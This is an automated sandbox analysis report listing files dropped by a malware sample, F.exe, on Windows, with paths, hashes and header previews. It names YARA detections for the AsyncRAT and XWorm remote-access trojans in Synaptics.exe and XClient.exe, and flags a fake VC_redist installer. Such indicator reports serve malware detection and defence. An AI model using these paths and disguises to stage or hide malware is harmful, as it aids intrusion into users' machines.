C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_fb1bf96a5f9d95323c844b5818a2571d831030bc_7e550805_a5a789a1-ebaf-4e9b-aafe-5085f993b8ed\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1319237615394715
Encrypted:	false
SSDEEP:	192:VQkVpsZISg0BU/3DzJDzqjLeA/19mOVzuiF9Z24IO8eDzy:jyZlBU/3Jqj8qzuiF9Y4IO8ey
MD5:	DE3A846E6659E917B63743C160493EC3
SHA1:	56396EC6154077256485362FEE9694998438F440
SHA-256:	8E34AD9BC0B3B7DDA155FB4869CD5B862606781A1E91D9F26753F7D39A45F0D2
SHA-512:	9C7EC73A3D2A6EB04D3CC0A7F5C0CD20C8C0AAB25974F17D07E87E44CF6BE9ED99E39DD953C021DB20F9BF992954AF7BA5AF4C811C9A1120085BF5D1F9E86025
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.3.6.9.5.0.7.1.0.0.0.4.7.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.3.6.9.5.1.1.8.5.0.0.5.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.5.a.7.8.9.a.1.-.e.b.a.f.-.4.e.9.b.-.a.a.f.e.-.5.0.8.5.f.9.9.3.b.8.e.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.9.4.1.4.9.2.-.a.b.7.6.-.4.2.9.4.-.a.1.7.c.-.3.0.d.c.8.d.f.9.d.4.a.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.1.c.-.0.0.0.1.-.0.0.1.4.-.b.8.9.d.-.1.8.7.7.3.b.c.c.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.b.e.4.c.c.0.0.4.d.f.2.4.3.6.2.7.5.7.d.8.1.5.5.4.e.0.3.b.b.8.e.0.0.0.0.0.4.0.8.!.0.0.0.0.8.1.5.b.b.1.7.5.8.6.e.d.1.9.f.a.f.0.4.8.9.7.f.1.8.4.1.5.5.8.5.1.d.7.d.8.1.2.9.7.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER30FC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Jul 2 04:51:48 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	2111424
Entropy (8bit):	2.283790045637754
Encrypted:	false
SSDEEP:	12288:5JrRl2v/HwsqKzJLR7Fe7fx+j4W3AxSE7o:jav/HwsqKzJeEj4mAxSz
MD5:	285E194D06C92EA6D2AA56BE5C5DF729
SHA1:	3A66C0C90F69D8B2F1F58B9E625ED5A55838224D
SHA-256:	938052DDF849538273BAD8B24FA0E2095C50DCA264D7F377E0CFB2B44348AF4D
SHA-512:	C3A13AE8C88A38B0F5007785B93082A6978B89E53E28C7278E2AE01DA83775F8102D9BBA039C93E0D94F465C7627568C1AD3758ECABD260E47BE318E01D9A14A
Malicious:	false
Preview:	MDMP..a..... .......d..f.............-...............4......$....S.......w..............`.......8...........T...........P...p............S...........U..............................................................................eJ......hV......GenuineIntel............T...........A..f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40FA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6318
Entropy (8bit):	3.717345376065203
Encrypted:	false
SSDEEP:	192:R6l7wVeJIx86u5Yim+6pr789bvDsf0iFm:R6lXJX6u5Yy7vofQ
MD5:	6A25457BF9A213AFD7AB2407A6130FA7
SHA1:	6F259C7F6DC39C958B806682D268D5FC6D15E587
SHA-256:	8151A8E9FC59CEADF3201E74CC3FF208557BF828338386A510B546AA373900BA
SHA-512:	BBC2D098EACDA9BC38F8540766927D5F1C8B499B3AF517BAD4E7D772F800A44F68A83CFB6A2E8FCC0EAB28D4C28D26E5961F789E44C0C51ACC433848FD4DA670
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.8.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER412A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.445607620654509
Encrypted:	false
SSDEEP:	48:cvIwWl8zsPJg77aI9BmWpW8VY+Ym8M4JJCF0+q8wzjZed:uIjfxI7Dn7VyJRpjZed
MD5:	12A66B3C962995441306D82B3384D67E
SHA1:	5AD8720B33ED0F62640CB2884DFEB489C21ECA1D
SHA-256:	AA7AD1F095B96B6F77A908377637EBDF205C4370321CF447BAED8A1BD87B5F20
SHA-512:	41660417369F5A67BA0CE731060D92D2D31F7456B027430ABC57A94BD932B4CE4765643C09C6B71A9FD58A1F5436E0D57F9817FE3FA513A9C5A0D0B5183DE240
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="392874" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692064
Entropy (8bit):	7.194014407923939
Encrypted:	false
SSDEEP:	12288:IskY7gjcjhVIEhqgM7bWvcsi6aVUfIy+U40vy3W/ceKSHMsiFyY6XNmnMwJ:IsZgjS1hqgSC/izkfFjymk4HM5yJwMK
MD5:	449FF18CECF6F5F51192A3B2DED55D19
SHA1:	344C9315CC65A9A8B57B7CA713EDDCFC00BD7A93
SHA-256:	0F891BFC3F74490937A0A339092EC8515409EC972B0EE12A7F3A21EA039CD706
SHA-512:	474720A4D8E0E992343DE1A897072C9062A5149E4F235013A28DF8C1DBA19020EA894231C1AAB7F5B3C041FD67CF3B2A26E5B25C7D6901FB4B0BEFCCB57957B4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\RCXAC4B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	762368
Entropy (8bit):	6.6473270169554715
Encrypted:	false
SSDEEP:	12288:vMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9pU:vnsJ39LyjbJkQFMhmC+6GD9u
MD5:	DC6FD1F95DC9ACB499A6B2870C3051BA
SHA1:	815BB17586ED19FAF04897F184155851D7D81297
SHA-256:	7E0E962826B5DBEF6C9664C84F5A8118BB38A811C59080C188EC647C200CF252
SHA-512:	7FBC7A286FFDA5F5C8B2A55A05C8AEF5673067411B689A3990174A443BB6275D65575DFB96710DDFB8B5B155D1BEA114E0DF7C13EF0B9AE771F731B3E5B0C1F0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXAC4B.tmp, Author: Joe Security
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	871936
Entropy (8bit):	6.543466408613518
Encrypted:	false
SSDEEP:	12288:NMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9djSs:NnsJ39LyjbJkQFMhmC+6GD9dF
MD5:	0298A5DF4BD22B716B51E1EEC63FDDAB
SHA1:	3D2B46097ABF97B220AF7F22EEB6FA3D5D2FB8CB
SHA-256:	8F678796641D5E6293F902303F67F17914B359F863C3FBDCCB13D865E8361857
SHA-512:	A1352E33BD27DEB8898E634CF6F94EBDCBA8BB481FB3364DBD568C0A9C604916B7BA482AAE4AFAC5D777504437443F70260B66E73525D3A59AAECB8C16B9BF58
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\XClient.exe

Download File

Process:	C:\Users\user\Desktop\._cache_F.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	5.233628527312761
Encrypted:	false
SSDEEP:	1536:bf05a/CTjS894Fc9Uo68OM+kw/joT3/4o:bf05a/CTJ94Fc9UWOM9w7oLX
MD5:	76FCF5160F19A49DA44978548CF3FA1E
SHA1:	AA2C21F652E98B834FE6E2D43657DF89379B0B4D
SHA-256:	9A64B5728EEF4DE86778FBCA03C84A64923EC9B901CA8B16277FC691F3567666
SHA-512:	E0707F660CF989A4B8B07E4017D6272B9CF83585A9F9F1EE9B381F7261972B98D9203F8DAB04DDC9D9EB357DD4887ECD8ABD86ED7F8ABDE97D24B4186205DD00
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\ProgramData\XClient.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\XClient.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\XClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\XClient.exe, Author: ditekSHen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../.rf................................. ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......\|]...Y............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379351997661506
Encrypted:	false
SSDEEP:	48:yWSU4xympjgs4RIoU99tK8NPZHUl7u1iMuge//ZS5tUyus:yLHxvCsIfA2KRHmOugbas
MD5:	F65FDE3CD5FDA1806F810A1142070F7C
SHA1:	47C97D722868F39FDE162DC4CBCEBD94AC211849
SHA-256:	86128D6E97C9D14A916F8E80CC306270AF817084BD06E683390A7C65E377F400
SHA-512:	21A7FB372793D01170BB6E238ED0C5DFFA53E8F2653490327BA608FC8ADD19F59B718E7E6866E7AE0B37D042F6B5EA22D1A83CE2C48F974D542E08D3E10911EE
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\3582-490\F.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	913408
Entropy (8bit):	6.539711743214804
Encrypted:	false
SSDEEP:	12288:WpJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9djS0TMS9:OJ39LyjbJkQFMhmC+6GD9d7n9
MD5:	E501C275814BFCB58FE845C38227D5C5
SHA1:	E2DD36FD738326611CC8D80462451BEB842B2D93
SHA-256:	D5BB65B35DAF83870A25646B84BE125F497C655138B58F4AE4CBD249F2997AA0
SHA-512:	435829C2248659E855CEF6ACA52061FB33C568F73B3668FCB87BCC33CC86F5C442A3E9EF7F840C3F54D813BF8C8B8C80C4139AE134A71245E269F186B550786A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\3oznUDV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.244437527959557
Encrypted:	false
SSDEEP:	24:bsF+0gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+P+pAZewRDK4mW
MD5:	DE4369DAC044F46C9A24B7F0F97616FA
SHA1:	32EE2D5A4AA659DC0C0085593FE3DD7BB3862A7F
SHA-256:	7D481E0AE4177F1DEE91236AC4FA150C0B259C2595E6CC83F70D3F9B88663A2B
SHA-512:	DA0CAA8C860D5389F0EB728D5A6AE7CB08B807B8741F6A5E08DFD9B10A12C5D0BDB251CFDD227F6CB35F7DCE73FC6E15BF08BF162755C80351498B15439911C0
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tpb73hGh2g_h8G6-ehKg8w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\63KxJoFw.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\7MgZWHP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.270397272660924
Encrypted:	false
SSDEEP:	24:bsF+0kzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+rz+pAZewRDK4mW
MD5:	1D0AD07C46A28C8C0E50BE0E21AE13D9
SHA1:	69795C359E9DC39F950355C08E31D20CC6DD949E
SHA-256:	77C4EAC88E11535E0669BEC5ADCB779683C1DF4688ACE0486F4EC15967302A07
SHA-512:	E29059E0AE0D8BC4A5950843540CA0B64339769FDB6354C203890FC99B0398700A39E8AA45974954A54ED934D462BAB2CC4C508DD94AF6ACF58E64FD53DF17C2
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="r2C89yZ1KZYt_MwFq0qLKA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\98O65uO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.271766942011896
Encrypted:	false
SSDEEP:	24:bsF+0KSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+d+pAZewRDK4mW
MD5:	D40F837F95F1CE20B6790FC3394ED114
SHA1:	7BE0FAC953103F321ECC1DB425AB508ABBC67028
SHA-256:	F98DABE4772AA7C6B37C6C6840F89B8E4BF15193262E80B72D37424319B2CB3A
SHA-512:	B02E4DB560DEB599AD4B1D68F5FA755D56E5BD07034274ABAC57F75B0C5C870964F9E3521131C94B2C161331E4A32283A54055657B75ED271BBAE93B50A960DF
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WG_SkAzebHjyTzV9FP1cMg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\AhfHWHR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260510465024427
Encrypted:	false
SSDEEP:	24:bsF+0atSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+l+pAZewRDK4mW
MD5:	6FB86471784C42CB1F4B2D123F6BE1B1
SHA1:	41BF2702470138C76EEA0F5F180668A1DBD8B49A
SHA-256:	4D2DB54A91625FAB765A9B70B7E360966FD1D67F94729EE3BE1CFB93BEB06F22
SHA-512:	910684568E5840B86A3C6A96583A7EB70AD57711E67CADE4CB4FD28BF07C6C36BD4A00A55801B1DB855654102A90EF589D713BBADAF897D674008CE8AC5665E2
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wgs-wDWsjBEVA4FlEGaFzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\GMLKLfy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.263612229729879
Encrypted:	false
SSDEEP:	24:bsF+0ASU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+b+pAZewRDK4mW
MD5:	7874EB20FF8774C112F3FCE117CF3D84
SHA1:	36C4AA36C6935C45C253E8D203A1F386CE34689C
SHA-256:	F1B27DC95285FB44B631EC991F9C1477E1E143120501A7BC49AA43A073E93E2D
SHA-512:	6B29F94FADC49CEBADFDAC821F3CF5851CA578094CED227C7925712BC36E26EB1622A44C3EE53AE31FD4917B64D0EB0DA8C4099564F8BE3ACC4FF47CE01835AB
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TFKPjGdib0LqBh6qF_kqpg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\Desktop\._cache_F.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	54
Entropy (8bit):	4.456017770914996
Encrypted:	false
SSDEEP:	3:rRSF1M4W3+dKSAmNS/Fsra:EFG4pKSA6S/Wra
MD5:	DC56B8F5D6A48BF67D88D1622EF86336
SHA1:	54476F55D0CD6E9368F2A6F67E36E1296E30FC1D
SHA-256:	9D41F07F85D2B9008A92D805C9B2F261B34CAE813086C888BE2FC1C820AF111B
SHA-512:	815847D233ADE33884D7B35EA8C109FA7B5E87C0222FA5D47D73A7CD5C592B1140E3927D2D8E677F19DCC514DDCAADC7C983E60FF03DD90965087EA0CEB46B9A
Malicious:	false
